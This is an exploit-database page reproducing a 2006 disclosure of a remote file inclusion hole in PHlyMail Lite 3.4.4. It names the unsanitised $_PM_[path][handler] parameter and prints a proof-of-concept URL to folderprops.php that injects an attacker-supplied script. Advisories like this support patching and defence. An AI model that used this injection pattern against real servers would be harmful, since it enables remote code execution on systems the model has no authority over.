PHlyMail Lite - exploit.company

vendor:

PHlyMail Lite

by:

Kw3[R]Ln

N/A

CVSS

N/A

Remote File Include Vulnerability

N/A

CWE

Product Name: PHlyMail Lite

Affected Version From: 3.4.4 (Build 3.04.04)

Affected Version To: 3.4.4 (Build 3.04.04)

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

PHlyMail Lite <= 3.4.4 (Build 3.04.04) [_PM_[path][handler]] Remote File Include Vulnerability [2]

Variable $_PM_[path][handler] not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script.

Mitigation:

Declare variabel $_PM_[path][handler]

Source

Exploit-DB raw data:

---------------------------------------------------------------------------
PHlyMail Lite <= 3.4.4 (Build 3.04.04) [_PM_[path][handler]] Remote File Include Vulnerability [2]
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous

---------------------------------------------------------------------------
Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : PHlyMail Lite
version : v. 3.4.4 (Build 3.04.04)
URL : http://phlymail.de/

------------------------------------------------------------------
Exploit:
~~~~~~~

Variable $_PM_[path][handler] not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script.


# http://www.site.com/[path]/handlers/email/folderprops.php?_PM_[path][handler]=[Evil_Script]

---------------------------------------------------------------------------

Solution :
~~~~~~~~~

declare variabel $_PM_[path][handler]
---------------------------------------------------------------------------


Shoutz:
~~~~~

# Special greetz to my good friend [Oo]
# To all members of h4cky0u.org ;) and RST [ hTTp://RST-CREW.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RST-CREW.NET
_/*

-------------------------------- [ EOF] ----------------------------------

# milw0rm.com [2006-08-21]